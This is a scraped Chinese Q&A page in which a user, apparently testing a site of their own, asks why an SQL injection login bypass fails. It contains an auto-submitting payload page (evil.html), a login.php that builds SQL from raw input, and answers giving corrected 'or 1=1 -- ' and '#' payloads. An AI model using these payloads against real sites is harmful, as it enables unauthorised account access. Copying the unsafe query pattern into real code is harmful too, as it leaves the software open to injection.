简单的 SQL 注入无法验证用户

Posted

技术标签:

【中文标题】简单的 SQL 注入无法验证用户【英文标题】:Simple SQL injection failing to auth user 【发布时间】:2020-11-02 00:53:37 【问题描述】:

背景

我制作了一个html页面evil.html,当用户点击它时,他们应该能够输入用户名并点击提交按钮,从而将他们登录到我创建的网站。

我希望注入 'or 1=1 -- 意味着如果我提交一个用户名为 test 的用户,那么 SQL 查询会导致

SELECT * FROM users WHERE userid='test' or 1=1 -- AND password='$hash'

这应该意味着我的用户test 已通过身份验证。但是它会抛出一个 500,其中有 + 标志,其中注入的间距是。

我在请求中的登录参数如下所示:

login:"test'or+1=1+--"

有谁知道为什么这个漏洞不起作用?

evil.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
  function attack() 
    document.querySelector('#login').value += "'or 1=1 --";
  
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
  <input name="login" id="login" value="">
  <button>Submit</button>
</form>
</body>
</html>

login.php

function login($username, $password) 
    $sql = "SELECT * FROM users WHERE userid='$username'";
    $result = $this->db->query($sql);
    $user = $result->next();
    if (!$user) 
        return false;
    
    $salt = $user['salt'];
    $hash = md5($salt.$password);
    $sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
    $userdata = $this->db->query($sql)->next();
    if ($userdata) 
    // user is logged in
    // doStuff()
    

【问题讨论】:

错误文本是什么? @u_mulder 经过进一步检查,看起来注入 ' or 1=1 -- 中的 ' 导致了错误,但我不确定为什么。至于错误文本,它只是说500 Internal Server Error,没有响应体回来。 检查服务器日志以了解导致 500 错误的详细信息。 【参考方案1】:

加号是空格的 URL 加密形式。所以现在完全没问题(参见URL encoding the space character: + or %20? )。

在 Microsoft、Oracle、PostgreSQL 和 mysql 广泛使用的关系数据库管理系统中,可以使用-- 引入注释。 MySQL在这里有点挑剔。它希望在-- 之后有一个空格,否则它不会识别它。

所以一个有效的利用应该是:

"test'or+1=1+--+"

您也可以尝试另一种 mySQL 表示法,例如“#comment”

"test'or+1=1+#"

参照。 https://portswigger.net/web-security/sql-injection/cheat-sheet 中的“评论”部分。

【讨论】:

【参考方案2】:

尝试在双连字符后添加一个空格。

所以,从

.value += "'or 1=1 --";.value += "'or 1=1 -- ";

【讨论】:

以上是关于简单的 SQL 注入无法验证用户的主要内容,如果未能解决你的问题,请参考以下文章

登录框Tricks

登录框Tricks

求ASP防SQL注入的登录验证代码

轻松理解啥是 SQL 注入

如何验证用户字符串输入不包含 sql 注入?在Javascript中

在 PHP 中验证用户输入的简单方法